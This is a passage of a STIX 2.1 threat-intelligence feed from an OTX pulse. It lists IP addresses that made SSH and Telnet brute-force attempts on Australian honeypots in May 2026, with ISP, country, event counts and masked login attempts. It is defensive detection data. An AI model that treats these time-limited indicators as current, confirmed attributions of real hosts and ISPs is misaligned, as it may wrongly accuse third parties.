      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IL. ASN(s): 12849. Organisation(s): Hot-Net internet services Ltd..",
      "id": "indicator--e6403b3f-6d04-4053-adca-56d9937f9500",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '5.29.172.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IS. ASN(s): 50613. Organisation(s): Advania Island ehf.",
      "id": "indicator--2fe68e4d-da8d-43a6-97a1-7ce791484746",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '82.221.141.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 12479. Organisation(s): Orange Espagne SA.",
      "id": "indicator--98a63611-c243-4971-b14d-d6a260799628",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.165.208.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T10:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: TR. ASN(s): 9121. Organisation(s): Turk Telekom. Usernames observed (masked): *, a***n, ***, r**t. Passwords observed (masked): , *, a***n, r**t.",
      "id": "indicator--96ac96b8-43ae-4268-ab3b-f229fe2b8ba9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T10:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '95.9.69.97']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T10:15:10.000Z",
      "valid_until": "2026-06-05T10:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 136180. Organisation(s): Beijing Tiantexin Tech. Co., Ltd..",
      "id": "indicator--7e0cef78-3fa7-49c1-bde1-9a3d61ba8a4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.203.57.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--dff64bcc-cea5-4f53-8274-39e31e54e92b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.188.30.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: JO. ASN(s): 9038. Organisation(s): Al Bahrainia al Urdunia Liltaknia Wa Alitisalat Plc. Co.",
      "id": "indicator--0819f5e5-34f5-48fb-b1da-48018ef94be8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '109.107.228.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--b9393dde-4ae7-4e26-af73-d81d37f89a47",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.120']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 262663. Organisation(s): METROFLEX TELECOMUNICACOES LTDA.",
      "id": "indicator--a4267287-39a3-43b4-becd-b21c30227d5e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '187.62.241.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UZ. ASN(s): 49273. Organisation(s): COSCOM Liability Limited Company.",
      "id": "indicator--560718b8-fa0b-4ad4-afcd-7c5578c80bf8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '188.113.202.192']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 24532. Organisation(s): PT. Inet Global Indo. Usernames observed (masked): u****u, p******s, c******r, r**t, 3**********4. Passwords observed (masked): p**s, !*******d, ***, 1******4, 1****6.",
      "id": "indicator--cd6482d1-f540-4431-8823-58734b494c70",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.111.32.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T11:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CO. ASN(s): 273238. Organisation(s): CABLE EXITO S.A.S..",
      "id": "indicator--f1f7378b-7bbf-4714-b4c2-7969b11a9933",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T11:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.196.179.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T11:15:10.000Z",
      "valid_until": "2026-06-05T11:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 132976. Organisation(s): Kings Broadband Pvt Ltd.",
      "id": "indicator--7a1d0eca-666a-434f-b579-d69a1735d533",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.72.178.78']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 52339. Organisation(s): Lima Video Cable S.A. Cabletel.",
      "id": "indicator--0fb4c286-a543-4931-a8fa-a232affc92b7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '131.72.31.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9b82a9e4-551b-42cc-8aab-c04ea847746f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '218.74.33.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 29975. Organisation(s): VODACOM.",
      "id": "indicator--655dcc00-6f32-4a94-96ab-3a5ebbba2932",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.13.158.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 9829. Organisation(s): National Internet Backbone.",
      "id": "indicator--dcf7b4fd-a9b7-43b9-a4c1-ab3d3dadfef2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.98.69.33']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PT. ASN(s): 3243. Organisation(s): Servicos De Comunicacoes E Multimedia S.A..",
      "id": "indicator--0daf8361-2e58-430a-a7d0-faf14f488c1e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '85.241.85.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--b335257e-df9f-4ef6-b461-3f850683308b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '90.212.215.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T12:15:10.000Z",
      "valid_until": "2026-06-05T12:15:08.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: NG. ASN(s): 36873. Organisation(s): Celtel Nigeria Limited t.a ZAIN.",
      "id": "indicator--d87a73ba-24be-451d-bccf-071ca20241ac",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.117.23.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 4766. Organisation(s): Korea Telecom. Usernames observed (masked): r**t, u****u, u**r, 3**********4, a***n. Passwords observed (masked): 1****0, ***, 1****1, 1******x, 1******X.",
      "id": "indicator--837d4252-eefe-4845-890d-54147ce7b30a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '118.33.113.91']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): u**r. Passwords observed (masked): P******d.",
      "id": "indicator--70197b2b-1ed7-45f0-9209-927554086a42",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.64.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 139994. Organisation(s): PT XL Axiata Tbk.",
      "id": "indicator--7f8cb745-6462-47e6-aa7a-7184b46946b0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '140.213.190.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 55836. Organisation(s): Reliance Jio Infocomm Limited.",
      "id": "indicator--0babe9cb-9456-4c17-a9ba-6cabc45baeaa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '152.59.27.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 251. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 8796. Organisation(s): FASTNET DATA INC. Usernames observed (masked): u****u, a***n, o****e, r**t, 3**********4. Passwords observed (masked): t**t, 1******1, ***, 1****1, 1****6.",
      "id": "indicator--20b3f7da-d129-4cef-8408-3b8e32e9d86e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '156.238.252.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--70ba8239-4741-4a06-938e-f5ce80c8cf2d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.211.177']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VE. ASN(s): 264628. Organisation(s): CORPORACION FIBEX TELECOM, C.A..",
      "id": "indicator--10373863-aba9-4f1a-9689-3d5fbb871ef5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.8.166.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 279. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CO. ASN(s): 14080. Organisation(s): Telmex Colombia S.A.. Usernames observed (masked): a***n, r**t, 3**********4, g********r, u****u. Passwords observed (masked): 1****6, 3***********4, 3**********4, 1**4, 1******8.",
      "id": "indicator--a23c2ca1-58dd-4c91-a0a8-34a0674923be",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.85.41.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 155. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 6134. Organisation(s): XNNET LLC. Usernames observed (masked): a***n, g********r, 3**********4, a*******r, **. Passwords observed (masked): 1****6, 1******8, 1****4, 3***********4, 3**********4.",
      "id": "indicator--ab33bbb2-8ddd-465f-9438-87f7279268f0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '38.207.132.98']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 133159. Organisation(s): Mammoth Media Pty Ltd.",
      "id": "indicator--87b57588-2ae6-48e6-b9b5-6c307466c929",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '43.229.63.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 269051. Organisation(s): UNIVERSO FIBER COMUNICACAO MULTIMIDIA.",
      "id": "indicator--823786d3-3a45-4b33-a8d9-6b5dcf4a0266",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.178.251.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 28. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RO. ASN(s): 47890. Organisation(s): Unmanaged Ltd. Usernames observed (masked): ***, u****u. Passwords observed (masked): ***, 1**4, ***, u****u.",
      "id": "indicator--12f1befe-3f09-490e-88f4-26fc8a5eef4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '80.94.92.171']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T13:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AE. ASN(s): 5384. Organisation(s): Emirates Telecommunications Group Company (etisalat Group) Pjsc.",
      "id": "indicator--c3363f3d-7cb3-4fd8-a829-57c7aec462c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T13:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '92.97.58.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T13:15:04.000Z",
      "valid_until": "2026-06-05T13:15:03.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 249. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 134945. Organisation(s): Blue Sky Broadband Pvt. Ltd.. Usernames observed (masked): a***n, u****u, r**t, t**t, 3**********4. Passwords observed (masked): 1****6, !*******d, !******2, **, 0****1.",
      "id": "indicator--272f9c53-5d78-4a5c-8b18-28c8a6bb7fd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '103.84.236.222']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone. Usernames observed (masked): o****e. Passwords observed (masked): *.",
      "id": "indicator--3ea0f8a0-b176-4944-8f0d-18e608f734b5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-04T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '121.29.4.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-04T14:15:10.000Z",
      "valid_until": "2026-06-05T14:15:08.000Z"
    },
    {
      "created": "2026-05-04T14:15:10.000Z",
